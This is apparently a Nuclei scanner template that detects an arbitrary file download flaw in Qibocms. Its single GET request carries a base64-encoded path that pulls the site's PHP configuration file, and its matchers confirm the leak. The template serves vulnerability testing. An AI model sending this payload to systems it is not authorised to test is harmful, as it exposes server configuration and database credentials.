id: qibocms-file-download

info:
  name: Qibocms - Arbitrary File Download
  author: theabhinavgaur
  severity: high
  description: Qibocms is vulnerable to arbitrary file download vulnerability.
  metadata:
    verified: true
    max-request: 1
  tags: qibocms,lfr

http:
  - method: GET
    path:
      - "{{BaseURL}}/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "$webdb"
        condition: and

      - type: word
        part: header
        words:
          - "filename=config"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a7efeb910c29dd65e99bdc9f2faa45679f8f83ec8f5e1d29c4c1d978da137fb4022100ab1aa6476f780c0077965ff3119b56d2bd1e5d039434d1f348edef39e1e21d84:922c64590222798bb761d5b6d8e72950